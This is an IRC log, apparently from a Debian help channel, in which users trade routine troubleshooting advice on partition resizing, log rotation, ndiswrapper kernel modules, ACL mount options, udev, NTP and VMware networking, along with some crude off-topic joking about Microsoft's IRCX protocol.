| 06:31.44 | Guerin | artagnon: you didn't follow my instruction |
| 06:31.50 | Guerin | artagnon: do it again, verbatim this time |
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| 06:32.24 | artagnon | Guerin: sorry, typo |
| 06:33.04 | artagnon | Guerin: it connected |
| 06:33.09 | artagnon | I can issue telnet commands |
| 06:33.17 | Guerin | then the daemon is listening just fine |
| 06:33.26 | Guerin | so whatever client is failing must be the problem |
| 06:33.51 | artagnon | Guerin: I'm just using a web browser and it worked before I made some admin changes |
| 06:34.12 | Readon | Guerin:it means a specified usb stick would be accessed but others would not. |
| 06:34.18 | nvz | artagnon: then undo the changes |
| 06:34.21 | artagnon | Guerin: oh wait... it's working :P |
| 06:34.27 | Guerin | Readon: that could be done using fstab |
| 06:34.40 | artagnon | Guerin: I just had to restart the cups server |
| 06:34.49 | sebi__ | so can anyone recommend me a live cd rescue or something with linux that can graphically or CLI resize my ext3s ? |
| 06:35.04 | Guerin | sebi__: gparted livecd probably can |
| 06:35.15 | nvz | why do you need a live cd? |
| 06:35.29 | Guerin | nvz: he's trying to shrink / and grow /home |
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| 06:35.59 | sebi__ | by taking space from / |
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| 06:36.14 | artagnon | sebi__: be careful to move data to one end and then shrink |
| 06:36.25 | artagnon | don't shrink into data and destroy anything |
| 06:36.44 | sebi__ | hmm ? |
| 06:36.49 | nvz | Guerin: apt-cache show ext2resize | grep Online -A 5 | tr "\n" " " |
| 06:36.51 | sebi__ | how can i move data to one ned |
| 06:37.00 | nvz | <PROTECTED> |
| 06:37.01 | Loady | hi. how does debian rotate the files in /var/log. messages, mail.log etc. |
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| 06:37.31 | artagnon | sebi__: that's not something I know. I just use LVM, sorry. Just ask someone else. Maybe the resize tools do it automatically |
| 06:37.32 | sebi__ | nvz, wich is the program that does resizing of live fs? |
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| 06:37.48 | nvz | sebi__: ext2resize |
| 06:38.01 | sebi__ | so i can just use it now while the system is running (its a production machine) |
| 06:38.04 | nvz | sebi__: the kernel does it, ext2resize helps |
| 06:38.16 | artagnon | nvz: are you sure live resizing is supported? |
| 06:38.21 | artagnon | ext2/3 |
| 06:38.35 | P_Kable | Hi there |
| 06:38.36 | nvz | do you think the guy just makes shit up? |
| 06:38.53 | Loady | ls |
| 06:38.53 | P_Kable | is there a logfile with all the commands typed in the Terminal (gnome) ? |
| 06:39.01 | artagnon | nvz: what? |
| 06:39.07 | nvz | the package maintatiner? |
| 06:39.15 | vorpal | hi P_Kable. check .bash_history |
| 06:39.18 | Matt4781581 | ~/.bash_history |
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| 06:39.30 | Matt4781581 | ? |
| 06:39.30 | artagnon | nvz: oh okay. I dunno if it supports shrinking though |
| 06:39.32 | P_Kable | thx I try that] |
| 06:39.34 | P_Kable | :) |
| 06:39.36 | P_Kable | thx |
| 06:39.38 | nvz | I've seen idiots like Sams, or Orielly outright lie docs |
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| 06:40.12 | Matt4781581 | or you can just type history at the shell |
| 06:40.17 | artagnon | nvz: It mentions the word "enlarging" there, not shrinking |
| 06:40.23 | QQmelo | hi ppl |
| 06:40.32 | nvz | artagnon: I can see that |
| 06:40.37 | QQmelo | can i ask ? |
| 06:40.42 | Readon | Guerin: i don't think that is a good idea |
| 06:40.50 | nvz | artagnon: I can read too, thats why we can communicate on RFC 1459 |
| 06:40.58 | nvz | protocol |
| 06:41.07 | Amarande | heh, what was that *other* IRC protocol spec? |
| 06:41.12 | artagnon | nvz: sebi__ needs to shrink / to enlarge /home. How's this tool useful then? |
| 06:41.18 | Amarande | I wonder if any sane open sourcer ever tried implementing ircx |
| 06:42.34 | nvz | artagnon: I am not his partition scheme designer and I can't vouch for every program in debian doing anything useful at all I'm just giving suggestions |
| 06:42.43 | artagnon | "IRCX (Internet Relay Chat eXtensions) is an extension to the IRC protocol developed by Microsoft to address the issues that standard IRC had." |
| 06:42.58 | QQmelo | anyone here know how catch-all every sents mail in postfix? |
| 06:43.00 | nvz | hah. and HAH! |
| 06:43.12 | artagnon | who'd want to implement ircx? |
| 06:43.17 | cmacis | ms? |
| 06:43.29 | artagnon | yeah |
| 06:43.32 | nvz | as if Microsoft would be able to address any issues |
| 06:43.35 | Loady | hi. how does debian rotate the files in /var/log. messages, mail.log etc? i cant find any config in logrotate about these files. |
| 06:43.40 | artagnon | stupid proprietary dead nonsense |
| 06:43.49 | artagnon | nvz: yeah, that's a laugh |
| 06:43.51 | nvz | if IRC even had any so-called issues |
| 06:44.11 | stew | Loady: man logrotate |
| 06:44.15 | artagnon | "IRCX was originally supported on the Microsoft Exchange Chat Service (5.5 and 2000)" |
| 06:44.16 | nvz | they can address issues in their own protocol |
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| 06:44.35 | Amarande | heh, I do think there was an RFC written for IRCX somewhere |
| 06:45.08 | nvz | I'd print it on toilet paper so I can wipe my ass with it |
| 06:45.16 | artagnon | Amarande: nope |
| 06:45.24 | artagnon | nvz: no toilet paper for you :P |
| 06:45.42 | artagnon | Amarande: they do things in a very proprietary closed manner |
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| 06:45.53 | vorpal | nvz, we can tatoo on your ass. lasting pleasure |
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| 06:46.14 | nvz | thats what the market wants.. a low-cost paper-towel or toilet paper printer so they can make their own fucking designs.. heh |
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| 06:46.40 | nvz | if I started selling blank paper towels I'd be a tycoon |
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| 06:47.16 | Amarande | artagnon, the actual MS chat service did. |
| 06:47.20 | Loady | stew: thats nice and all, but i would like to know how. i cant find any entry telling /var/log/* to rotate. Nothing in /etc/logrotate.conf og /etc/logrotate.d |
| 06:47.22 | Amarande | But I do remember an actual RFC for IRCX itself. |
| 06:47.33 | artagnon | Amarande: did what? |
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| 06:47.53 | artagnon | Amarande: well, I can't seem to find it anywhere |
| 06:47.54 | nvz | so they print their own message to the kids about cleaning up the milk they spilled and put it on the fridge with a magnet to catch em before they even do it. |
| 06:48.28 | cmacis | If the costs were low enough people would do that |
| 06:48.58 | Supaplex | humm giftd must be a dying breed. 1 peer with 0 files. heh. |
| 06:49.02 | nvz | no shit.. well at least for the paper towels, would clog your toilet and make commode ala-mode |
| 06:49.17 | nvz | Supaplex: some people get better milage than others |
| 06:49.32 | stew | Loady: which log in /var/log/? |
| 06:49.50 | nvz | Supaplex: like my dad uses it on windows and gets on ares, and I can't on linux, but I get on gnutella fine |
| 06:50.26 | nvz | Supaplex: for some reason its hit-or-miss seems the more plugins you have the better chances you have :P |
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| 06:50.46 | nvz | Supaplex: there are only like 4 fully working plugins, and only two are in debian |
| 06:50.59 | Supaplex | yea, i have all the debian plugins. |
| 06:51.28 | Amarande | ahh, now I see |
| 06:51.41 | Amarande | apparently IRCX was presented as an Internet-Draft that's publicly available these days |
| 06:51.44 | Amarande | but never achieved full RFC status |
| 06:51.49 | Loady | stew: mail.log, mail.info, mail.err, messages etc. i cant find any config entries. i didnt think of it before, but now i need to change the rotation, but i cant find the config for it. i can find entries other log files. |
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| 06:52.08 | nvz | debain has gnutella and openft, the ares and kazaa work but each network has its own issues and respective cults to go along with it |
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| 06:52.29 | Loady | stew: sorry about the bad english. still early over here. :P |
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| 06:53.01 | Amarande | of course, seeing the bells and whistles modern ircd's use *cough* unreal *cough* ... |
| 06:53.33 | stew | Loady: logs handled by syslog are rotated by /etc/cron.daily/syslogkd |
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| 06:57.57 | Loady | stew: thanks :) |
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| 07:12.14 | daeos | quick question, im trying to install a wpc54g (linksys pcmcia wireless card) and after doing : ndiswrapper -i lsbcmnds.inf , ndiswrapper -a 104c:9066 , i get driver 'lsbcmds' is used for '104C:9066', but once i do modprobe ndiswrapper, i get "FATAL: Module ndiswrapper not found' what step amd i skipping? |
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| 07:13.32 | badgers | Okay, I'm here. (courtesy of sussudio) |
| 07:13.52 | cmacis | daeos: does it need running as root? |
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| 07:14.07 | daeos | cmacis: assume i put 'sudo' |
| 07:14.24 | daeos | cmacis: since i did use 'sudo' |
| 07:14.29 | cmacis | kk |
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| 07:16.07 | daeos | anyone else have an idea? |
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| 07:17.41 | stew | !m-a daeos ndiswrapper |
| 07:17.42 | dpkg | daeos: to compile and install ndiswrapper for your running kernel: apt-get install build-essential module-assistant && m-a prepare && m-a a-i ndiswrapper && modprobe ndiswrapper ; if this works echo ndiswrapper >> /etc/modules ; also ask me about <m-a> |
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| 07:18.04 | dimir | Moin! |
| 07:18.38 | daeos | stew: it is already installed.... how could i not install my driver if it was not? |
| 07:18.48 | Crypticfortune | so i'm running AMD64 debian and have a 32bit chroot environment set up and have been happily using that for a while, but printing from the 32bit chroot'd environment is a pain. can i somehow access my 64bit CUPS from inside the 32bit chroot? |
| 07:18.54 | stew | daeos: how did you install the ndiswrapper kernel module? |
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| 07:19.25 | daeos | just by doing apt-get install ndiswrapper-common and the utils packages |
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| 07:19.40 | daeos | or is this just *part* of ndiswrapper? |
| 07:19.40 | stew | daeos: no that is the userspace binaries, not the kernel module |
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| 07:19.48 | daeos | stew: ah i see now... |
| 07:20.12 | marcster | hi. i keep on getting "size mismatch" errors when using apt-get. i just installed etch via xen-tools' debootstrap. i have never successfully installed anything via apt-get after the installation. |
| 07:20.17 | marcster | any idea what the problem is? |
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| 07:21.40 | Dark_Apostrophe | Are there Linux drivers for the Intel 4965AGN wireless card? |
| 07:21.53 | marcster | anyone? |
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| 07:23.09 | cmacis | looks like there are |
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| 07:23.24 | ^rob^ | hello |
| 07:23.24 | user1__ | you using a xen guest kernel? |
| 07:23.41 | marcster | user1__: yes |
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| 07:24.25 | ^rob^ | is there any secure method to start a php script as root (apache2+php - need to modify a config file) ??? |
| 07:24.38 | ^rob^ | security is important too. |
| 07:25.18 | daeos | stew: what was the m-a thing in the line command to run? |
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| 07:26.51 | stew | !m-a daeos ndiswrapper |
| 07:26.51 | dpkg | daeos: to compile and install ndiswrapper for your running kernel: apt-get install build-essential module-assistant && m-a prepare && m-a a-i ndiswrapper && modprobe ndiswrapper ; if this works echo ndiswrapper >> /etc/modules ; also ask me about <m-a> |
| 07:26.59 | tonsofpcs | anyone know any music playback software with a http 'request' interface and weighted rotation automation (like SAM3) for linux? [doesn't need to stream, just play audio, but streaming is fine too] |
| 07:27.04 | daeos | stew: no, im asking the point |
| 07:27.11 | daeos | stew: the reason |
| 07:27.38 | stew | daeos: why would you run that command? |
| 07:27.54 | daeos | stew: yes, the point of m-a a-i |
| 07:28.02 | daeos | and m-a prepare |
| 07:28.19 | stew | daeos: do you know what m-a is? |
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| 07:28.28 | daeos | module-assist? |
| 07:28.33 | stew | daeos: do you know what it is for? |
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| 07:29.03 | daeos | stew: not really, but sounds like a console based module installation assistant? |
| 07:29.07 | stew | !m-a |
| 07:29.07 | dpkg | it has been said that module-assistant is a tool helping to build additional (kernel) module packages and generate/install DEB packages with them, or aptitude install module-assistant build-essential && m-a prepare |
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| 07:29.32 | daeos | i see |
| 07:29.53 | stew | daeos: m-a prepare makes sure you have a build environment prepared for the current running kenrel. a-i is "auto-install" which will download the source to a module, compile it, create a deb out of it, and install the deb |
| 07:30.09 | daeos | ah i see |
| 07:30.13 | h3xis | is there a command to configure the keyboard? i'm not running X |
| 07:30.27 | daeos | to make sure the package you use is perfect for the kernal you are using.. ok |
| 07:32.56 | stew | daeos: no, not to make sure the package is perfect for the kernel you are using. to make sure the package exists for the kernel you are using. kernel modules are compiled for one specific kernel, they aren't made genericly for many kernels |
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| 07:33.31 | daeos | oh ok |
| 07:35.38 | daeos | hmm... now ndiswrapper shows up under usb_core, but not pcmcia_core..... :/ |
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| 07:38.22 | daeos | hmm ok, so.. all of that and still my pcmcia card is not installed |
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| 07:40.20 | cahoot | h3sp4wn, dpkg-reconfigure console-data might help? |
| 07:40.33 | cahoot | h3xis, ^^ |
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| 07:41.02 | h3xis | cahoot yes, i just got that :p do i need to reboot for changes to take effect? |
| 07:41.05 | daeos | stew: ok i did all of that, and installed the correct driver, but even following a tut on installing this stupid card does not make it work..... |
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| 07:41.46 | cahoot | h3xis, look in /etc/init.d might be some script to restart instead |
| 07:42.02 | h3xis | cahoot, alright thx |
| 07:43.16 | cahoot | h3xis, ther is a keymap.sh |
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| 07:45.14 | epsilon | at netfilter.org |
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| 07:46.11 | epsilon | what do you want with iptables? there are many HOWTOs depends on your needs |
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| 07:53.20 | yang | There is no quake2 executable package? |
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| 07:53.55 | SlayerXP | yang: why would there be? |
| 07:54.10 | yang | All I can find is quake2-data |
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| 07:55.26 | yang | I guess the executable got purged from lenny |
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| 07:57.14 | daeos | so does modprob have a config file? i can't find it, im trying to blacklist an alternate driver that i do not want ot use |
| 07:57.17 | _slacker_ | hi all, i know there's a way to restart when a kernel panic and then start with the last working kernel, someone knows a good howto about this? |
| 07:57.51 | Dark_Apostrophe | Are there Linux drivers for the Intel 4965AGN wireless card? |
| 07:58.40 | Dark_Apostrophe | _slacker_: Does Magic SysRq Key work? |
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| 07:58.54 | yang | Dark_Apostrophe: google for "Intel 49... Linux" |
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| 07:59.36 | Dark_Apostrophe | yang: I did, found lots of links about specific laptops |
| 07:59.39 | sometwo | I just upgraded from etch to lenny, and now PHP with FastCGI won't work... any ideas? |
| 07:59.49 | sometwo | apache complains about "read failed" |
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| 08:00.42 | Anders | I accidentally removed my /dev on my amd64 debian install |
| 08:00.45 | Anders | can I recreate them? |
| 08:00.50 | Anders | I'm logged in |
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| 08:01.48 | SlayerXP | Anders: how does one "accidentally" delete /dev ? |
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| 08:02.15 | Anders | I had mount --bind /dev chroot/dev |
| 08:02.19 | Anders | and forgot about it |
| 08:02.20 | _slacker_ | Dark_Apostrophe, i don't thinks so, i need it for remote kernel upgrade failover |
| 08:02.37 | Anders | I know it was a stupid mistake... now I need to fix it ;) |
| 08:02.44 | Dark_Apostrophe | _slacker_: http://en.wikipedia.org/wiki/Magic_SysRq_key |
| 08:03.01 | Dark_Apostrophe | _slacker_: Try using that trick, in this order: RSEIUB |
| 08:03.12 | Dark_Apostrophe | That'll do a safe emergency reboot |
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| 08:05.09 | hatter | can i copy the passwd file from a sarge to an etch ? |
| 08:05.37 | eisen | Anders: you could try to restart some services like udev for example |
| 08:05.54 | _slacker_ | Dark_Apostrophe, but can i send sysrq to a remote machine with a kernel panic? |
| 08:05.58 | Anders | did that already |
| 08:06.04 | Anders | i only have: |
| 08:06.05 | Anders | initctl null pts shm |
| 08:06.11 | Dark_Apostrophe | _slacker_: There's an interesting problem. |
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| 08:06.19 | Anders | I have /dev/.static/dev/ too, thanks to MAKEDEV... but I'm not sure that's enough |
| 08:06.30 | Dark_Apostrophe | _slacker_: No clue. |
| 08:06.38 | gordboy | hatter, very probably. but i've never tried it. there's also /etc/shadow, /etc/group etc etc |
| 08:07.03 | hatter | gordboy, thx, i will try and see, |
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| 08:07.22 | eisen | Anders: do you have a live cd at hand? |
| 08:07.28 | Anders | yes |
| 08:07.56 | eisen | Anders: then I'd just try rebooting the machine. Chances are it will fix itself. |
| 08:08.02 | Anders | ok |
| 08:08.12 | Anders | I'll do some things first to see if I can fix it |
| 08:08.15 | Anders | without rebooting |
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| 08:09.20 | stew | Anders: run "udevtrigger" |
| 08:10.35 | Anders | hm |
| 08:10.42 | Anders | no new files |
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| 08:11.20 | stew | Anders: /dev/.static/dev is populated? |
| 08:11.24 | Anders | yes |
| 08:11.38 | Anders | should that be enough? |
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| 08:12.45 | daeos | how can i configure modprobe not to use a specific driver? |
| 08:12.45 | daeos | such as bcm43xx |
| 08:12.46 | stew | daeos: /msg dpkg blacklist |
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| 08:13.57 | Anders | stew: do I need to create symlinks for the devices in /dev/.static/dev in /dev? |
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| 08:15.55 | daeos | stew: /etc/hotplug/blacklist does not exist and dpkg says to add my driver name to that file... so i would create it then? or ignore that instruction? |
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| 08:18.43 | matehortua | hi all |
| 08:18.43 | daeos | stew: nevermind |
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| 08:24.52 | jackinson | hello I have a strange probelm after installation of debian. |
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| 08:25.01 | jackinson | startx |
| 08:25.02 | jackinson | xauth: creating new authority file /root/.serverauth.2723 |
| 08:25.04 | jackinson | xinit: Server error. |
| 08:25.05 | jackinson | debian:/home/kumaran |
| 08:25.10 | jackinson | what to do? |
| 08:25.11 | jackinson | . |
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| 08:25.33 | jackinson | I have installed everything successfully. |
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| 08:25.46 | jackinson | and the installation process end so too. |
| 08:26.01 | jackinson | but since I rebot, I could not get Graphical display. |
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| 08:28.20 | jackinson | can anybody help please, |
| 08:29.41 | dimir | jackinson: see /var/log/Xorg.0.log for error (EE) lines. |
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| 08:30.10 | kadras | hi people, i'm using debian etch stable tree kernel but when i enable bonding mode balance-alb i obtain this kernel backtrace http://rafb.net/p/qYr9n082.html |
| 08:30.13 | jackinson | sorry, I do not have such file. |
| 08:30.32 | stew | Anders: no, you shouldnt' do anything in /dev, udev should be doing it for you |
| 08:30.37 | Anders | ok |
| 08:30.40 | Anders | it didn't |
| 08:30.58 | Anders | doesn't matter, I'm making backups now and doing a reboot... and if that doesn't work, well I'm going to reinstall |
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| 08:32.29 | jackinson | dimir: what may I try next? |
| 08:32.52 | jackinson | Another problem is, after entering apt-get update; apt-get upgrade , the process end with lot of package names and then the last two lines are given below. |
| 08:32.54 | jackinson | > Processing was halted because there were too many errors. |
| 08:32.55 | jackinson | > E: sub-process /usr/bin/dpkg returned an error code (1) |
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| 08:47.46 | roland_ | hi , i receive : Uncompressing linux... CRC Error -System Halted- when i boot the etch netinstall cd |
| 08:47.46 | roland_ | on a pc |
| 08:47.46 | roland_ | the cd is good |
| 08:47.47 | infernal_jesus | Why is when I try to install python-twisted, apt-get will only get 33 mb of archives, but free 165MB of disk space |
| 08:48.47 | haiyah | hi my /var/log/mysql.log is building up like 900mb now.. where can i set it to be gzipped automatically? its taking up my / diskspace |
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| 08:50.56 | matehortua | does anyone knows a way to install a flash player on a debian etch 64bit laptop? |
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| 08:51.58 | matehortua | im stuck, and internet whitout flash is as bored as navigating with lynx |
| 08:52.04 | matehortua | :) |
| 08:52.34 | piti | matehortua: I know that you have to get a 32bit version of iceweasel, or to use nspluginwrapper (but I don't know how, I'd like to use it too) |
| 08:52.58 | infernal_jesus | anyone know why apt-get wants to delete 165mb of files, while only getting 33mb when installing python-twisted |
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| 08:56.56 | ElCid | ...g'day at all, here...I'm still quite a newbie, and looking for some help with some aspect of Etch installation...in particular, desktop environment related...anyone available, please? |
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| 08:57.11 | spheard | Im trying to compile php5 from source but I'm getting "make[1]: *** [install-pear-installer] Segmentation fault", Apt-get refuses to install php5 even with -f The following packages have unmet dependencies: php5: Depends: libapache2-mod-php5 (>= 5.2.0-8+etch4) but; 5.2.0-8+etch3 is to be installed or; libapache-mod-php5 (>= 5.2.0-8+etch4) but it is not; going to be installed or; php5-cgi (>= 5.2.0-8+etch4) but 5.2.0-8+etch3 is to; be installe |
| 08:57.49 | spheard | ElCid whats the bother? |
| 08:57.57 | rhalff | any suggestions for a good backup system |
| 08:58.23 | litage_ | is there a free and open-source pdf reader for windows? |
| 08:58.32 | rhalff | I'm using backupninja with rdiff-backup now, but that's very error-prone |
| 08:58.42 | ElCid | hi, spheard...ok, here's the thing...I prefer doing a netinstall-kind of installation, even if I own all the three dvds of the release...so I only install the very base and end up with the console... |
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| 08:59.20 | ElCid | ...then I check the security updates with apt... |
| 08:59.24 | spheard | ok |
| 08:59.40 | ElCid | and install xorg server and alsa... |
| 09:00.04 | haiyah | hi my /var/log/mysql.log is building up like 900mb now.. where can i set it to be gzipped automatically? its taking up my / diskspace |
| 09:00.06 | ElCid | ...afaik, that should be the base to put then the desktop env... |
| 09:00.34 | litage_ | ElCid: you can setup a base desktop system with this command: tasksel install desktop |
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| 09:01.06 | litage_ | ElCid: if you'd like to find out what that does, run ``tasksel --task-desc desktop'' and ``tasksel --task-packages desktop | less'' |
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| 09:02.05 | ElCid | litage, that would install many packages that maybe I won't need too? I'm asking that because I'm trying to build slowly the system step by step, knowing what I'm installing... |
| 09:02.52 | litage_ | ElCid: the last command i suggested will tell you exactly which packages will be installed |
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| 09:03.13 | litage_ | ElCid: i understand what you want, though i'm not sure what your question is |
| 09:03.20 | ElCid | for example, my next step would be putting kde...I've read 3.5.7 is available on unstable repositories...but I get an error when I try to get them with apt-get install kde-core |
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| 09:04.22 | spheard | ElCid: what errors |
| 09:05.03 | ElCid | it says it can't get them and so it won't be installed...it's related, if I remember well, to some dependances it can't resolve... |
| 09:05.52 | spheard | ElCid: when you have some specific error messages, we can maybe be some help |
| 09:06.30 | ElCid | I thought it could be related to different versions...I'm using a stable and downloading it from an unstable repository...could it be that? |
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| 09:08.09 | ElCid | ...ok, really thanks for the help to both spheard and litage_ ...going to check those errors and write them down this time (my fault, I really didn't thought about it..) |
| 09:08.15 | ElCid | ...thanks again...:) |
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| 09:09.27 | fengor | ElCid: you shouldnt mix stable nad unstable usually |
| 09:09.33 | test | how do install an extension in iceweasel for system wide? just copy to /usr/lib/iceweasel/extensions/ ? |
| 09:09.39 | litage_ | fengor: too late :( |
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| 09:10.28 | matehortua | maybe i can help |
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| 09:12.23 | matehortua | flash on iceweasel etch 64 bit, pleeease |
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| 09:12.45 | rainabba | Anyone know from experience; is it possible for me to compile/attain network drivers for Realtek based nics for use with VirtualIron. I want to check it out (to compare with Xen, KVM, VBox, and VMWare), but my NICs aren't on the HCL and last time I tried (months back), they weren't supported so I'm assuming they still aren't. |
| 09:13.12 | cahoot | matehortua, IIRC you need run iceweasel 32 bit in a chroot |
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| 09:13.15 | Ramattack | hi all |
| 09:13.22 | Ramattack | does debian stock kernel support acl? |
| 09:15.01 | xand | Ramattack: on what fs? |
| 09:15.49 | Ramattack | ext3 |
| 09:15.53 | roland_ | debian 4 fails to install on a pc |
| 09:15.59 | roland_ | crc error uncompressing linux |
| 09:16.10 | cahoot | bad burn? |
| 09:16.11 | Ramattack | you've got a bad cd... |
| 09:16.13 | roland_ | or if this doesnt appear and it boots, it hangs at formatting partition with ext3 |
| 09:16.22 | roland_ | and theres also some glib error |
| 09:16.27 | roland_ | no, the cd is very good |
| 09:16.28 | roland_ | netinst cd |
| 09:16.40 | xand | Ramattack: yes then |
| 09:16.48 | Ramattack | why any glib error? |
| 09:16.48 | xand | Ramattack: you need the acl mount option |
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| 09:17.00 | Ramattack | how is that? |
| 09:17.14 | Ramattack | I'm doing setfacl -m user:ppp:rwx file |
| 09:17.20 | Ramattack | but says not supported |
| 09:19.20 | Ramattack | seen xand |
| 09:19.25 | Ramattack | thanks mate |
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| 09:21.30 | roland_ | can i use chown (as root or as owner of a file) to modify a specific user's acces flag (eg. -r -x -w)? |
| 09:21.33 | roland_ | or i need to use acl ? |
| 09:21.55 | xand | you mean chmod or setfacl |
| 09:22.09 | Ramattack | setfacl |
| 09:22.22 | Ramattack | oh wan't for me |
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| 09:27.28 | spheard | Im trying to compile php5 from source but I'm getting "make[1]: *** [install-pear-installer] Segmentation fault", Apt-get refuses to install php5 even with -f The following packages have unmet dependencies: php5: Depends: libapache2-mod-php5 (>= 5.2.0-8+etch4) but; 5.2.0-8+etch3 is to be installed or; libapache-mod-php5 (>= 5.2.0-8+etch4) but it is not; going to be installed or; php5-cgi (>= 5.2.0-8+etch4) but 5.2.0-8+etch3 is to; be installe |
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| 09:29.33 | xand | spheard: why are you trying to do that? |
| 09:30.22 | Ramattack | could be acl option been sent on fstab for booting? |
| 09:30.29 | xand | yes |
| 09:30.39 | Ramattack | on / partition? |
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| 09:30.59 | xand | yes, like "defaults,errors=remount-ro,acl" |
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| 09:31.17 | Ramattack | ok let's chec |
| 09:31.53 | xand | e.g. one of mine is: |
| 09:31.55 | xand | /dev/md2 /u2 ext3 defaults,errors=remount-ro,nosuid,nodev,noatime,acl 0 1 |
| 09:32.08 | Ramattack | sais the same |
| 09:32.14 | Ramattack | operration unsuported |
| 09:32.21 | xand | did you unmount it and remount it? i.e. reboot |
| 09:32.30 | Ramattack | I've done a mount -a for remount filesystems... |
| 09:32.56 | xand | if you type "mount" does it mention acl for that partition? |
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| 09:33.10 | Ramattack | mount -a fstab |
| 09:33.35 | Ramattack | and have changed on fstab better sais have added in fstab ,acl |
| 09:33.37 | xand | but type mount on its own to see the mount options |
| 09:33.43 | Ramattack | for root partition |
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| 09:34.48 | xand | type mount to list mounted FSes and see if / has the acl option in brackets |
| 09:35.22 | Ramattack | nope... |
| 09:35.26 | Ramattack | perhaps need a reboot? |
| 09:36.07 | xand | i dont think mount -a remounts things but it might |
| 09:36.08 | wols | why would "moaunt -a" remount things that have already been mounted before? |
| 09:36.29 | Ramattack | I understood that.. |
| 09:36.38 | wols | if you did, so why did you run it? |
| 09:36.41 | Ramattack | that mount -a did that |
| 09:36.52 | xand | don't think so |
| 09:36.58 | Ramattack | one moment booting... |
| 09:37.00 | Ramattack | perhaps |
| 09:37.07 | Ramattack | now works... lets ssh... |
| 09:37.13 | xand | i wish i could get acls working for xfs... grrr |
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| 09:37.48 | Ramattack | working! |
| 09:38.09 | Ramattack | thanks a lot mates! :) |
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| 09:39.23 | spheard | xand, cos apt-get fails miserably :-( |
| 09:39.49 | xand | spheard: i'd fix that problem instead of compiling |
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| 09:40.13 | spheard | xand, I dont think pear is compatable with my arch for some reason, I did ./configure --without-pear, and it installed. |
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| 09:41.24 | endra | hey |
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| 09:41.54 | endra | I need to know how to fix my timezone. I set it to America/Toronto and it thinks we are 1:40 am when in reality it is 5:40 am |
| 09:42.22 | streuner | tzconfig |
| 09:42.38 | streuner | !set up time |
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| 09:43.15 | streuner | and just install ntpdate |
| 09:43.27 | streuner | !listvals ntpdate |
| 09:43.28 | dpkg | Factoid search of 'ntpdate' by value (2): ntp ;; flw25. |
| 09:43.37 | endra | I don't want any ntp programs, when the internet is out, it will give me the wrong time |
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| 09:43.44 | xand | spheard: what arch? |
| 09:43.47 | spheard | Ive just compiled php5 from source with make, make install (I know its bad, just trying to get it to get it working roughly at the mo), now I have it installed does anyone know how I can link it in with apache? |
| 09:43.54 | spheard | xand, sparc64 |
| 09:44.03 | spheard | xand, custom kernel |
| 09:44.08 | spheard | :-\ |
| 09:44.19 | xand | I don't see why it wouldn't be |
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| 09:44.26 | streuner | endra: ntpdate just get the *right* time and manipulate the CMOS clock, not more and not less |
| 09:44.41 | spheard | me neither, but it did work without |
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| 09:44.46 | xand | endra: no it won't |
| 09:44.55 | streuner | endra: if the battery is ok and your TZ is set up ok, everythink should work then |
| 09:45.09 | streuner | s/everythink/everything |
| 09:45.14 | endra | I see, and ntpdate will work according to my time zone? |
| 09:45.24 | streuner | sure |
| 09:45.29 | xand | if your time zone is corrrectly set |
| 09:45.42 | endra | Okay, what host should i use with ntpdate? |
| 09:46.04 | streuner | !ntp |
| 09:46.05 | dpkg | from memory, ntp is the Network Time Protocol. Try "apt-get install ntpdate ntp" for basic usage. Use "pool.ntp.org" as your NTP server if you don't have one of your own already. (Make sure your time zone is right, with tzconfig, first.) See http://www.ntp.org/ or http://www.openntpd.org/ for more information. |
| 09:46.12 | endra | thank you, both |
| 09:46.44 | Fjodor_ | Anyone with an idea why etch on my proliant is, all of a sudden, only seing 1 cpu? |
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| 09:51.10 | GreaseMonkey | gonna sleep now, gnight |
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| 09:53.51 | gcardinal | how can I purge all squid's cache ? |
| 09:54.46 | deem_ | gcardinal: extract it from the mouth |
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| 09:55.00 | BambiX | hi all |
| 09:56.07 | BambiX | can someone tell me if debian installs some form of firewall? I have apache 2 running but i can't access it from the outside (running virtualised in vmware server) |
| 09:56.46 | petemc | BambiX: not unless you tell it to |
| 09:56.58 | fireba11 | BambiX: the reason is more likely to be wrong network setup with vmware |
| 09:57.10 | fireba11 | or rather faulty |
| 09:57.13 | BambiX | right |
| 09:57.37 | BambiX | the funny thing is the system if fully pingable, it's jsut when i try to touch apache i get a service unavailable |
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| 09:58.26 | fireba11 | BambiX: you made sure it's running at all i assume ? |
| 09:58.36 | BambiX | jup |
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| 09:59.01 | xand | what error message does "telnet <server> 80" give? |
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| 09:59.11 | BambiX | i can acces the pages from the debian box and from the win2k images next to it, can even ping the debian box from the hsot os, just opening the page results in error |
| 09:59.24 | BambiX | hsot os= host os |
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| 10:00.05 | BambiX | the external interface eth 1 is set to dhcp the other one is static |
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| 10:00.52 | BambiX | any clues as to where to look? |
| 10:01.01 | xand | what error message does "telnet <server> 80" give? |
| 10:01.14 | BambiX | 2 secs i'll check |
| 10:01.30 | wols | !vmware |
| 10:01.30 | dpkg | it has been said that vmware is Not Our Problem. If it was in debian, it would be, but since it ain't, it ain't. Ask the vendor for support. |
| 10:01.52 | BambiX | telnet just hangs |
| 10:02.28 | BambiX | dpkg i know it's not your problem, infact it's my problem, I'm just checking to see if it's a silly typo in debian's config |
| 10:03.00 | BambiX | I'm still in the process of uling out possible causes and unfortunatly debian is part of the pool |
| 10:03.06 | qwerty999 | hello guys and girls! I am trying to install debian etch on my laptop from a netinst cd-rom. The install CD boots ok, but after the usual dmesg output, the screen goes blank. Any clue where should i take a look? I think is a FB issue, but i am not sure, since i can't switch into any other screens. |
| 10:03.39 | BambiX | qwerty what graphics card are you using? |
| 10:03.59 | qwerty999 | BambiX: GMA X3100 |
| 10:04.38 | qwerty999 | BambiX: on a hp compaq 6710b, GM965 chipset. |
| 10:05.22 | BambiX | ok 2 secs googling for ya |
| 10:06.12 | qwerty999 | BambiX: ok, thanks. did that alredy too, but haven't found anything helpful. |
| 10:06.50 | BambiX | it's usually either driver related or the x config has a resolution that's causing trouble, but i cuold be wrong |
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| 10:08.11 | BambiX | apparantly xorg-video-intel would be the right driver |
| 10:08.20 | BambiX | again I could be wrong |
| 10:08.24 | qwerty999 | BambiX: maybe it tries to enter an unsuported resolution that is not well configured in xorg.conf, but... i simply don't want to enter x yet. :) i just want to reach a console from where to start dinggin'. |
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| 10:09.15 | maki_ | hello |
| 10:09.23 | maki_ | the net install cd |
| 10:09.24 | qwerty999 | BambiX: and i was wondering about any boot param that disables x for the install procedure. |
| 10:09.29 | BambiX | ehm ctrl-backspace if I remember correctly |
| 10:09.47 | maki_ | is something like arch cd and gentoo minimal cd or ... |
| 10:10.00 | maki_ | when i install the net cd |
| 10:10.26 | maki_ | i need to download everything wich i like to install? |
